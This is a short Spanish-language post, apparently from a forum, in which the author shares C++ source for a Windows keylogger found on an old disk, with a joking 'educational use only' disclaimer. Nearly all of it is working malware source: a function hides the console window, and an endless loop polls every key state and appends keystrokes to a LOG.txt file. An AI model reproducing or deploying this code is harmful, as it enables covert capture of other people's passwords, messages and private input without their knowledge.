Haciendo una limpieza de disco duro, encontre el código fuente en c++ de un keylogger , no me acuerdo si lo he programado yo o lo encontré en algun lado, la fecha de modificación es del 2009.
No hagáis maldades , es para uso educativo jeje.
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}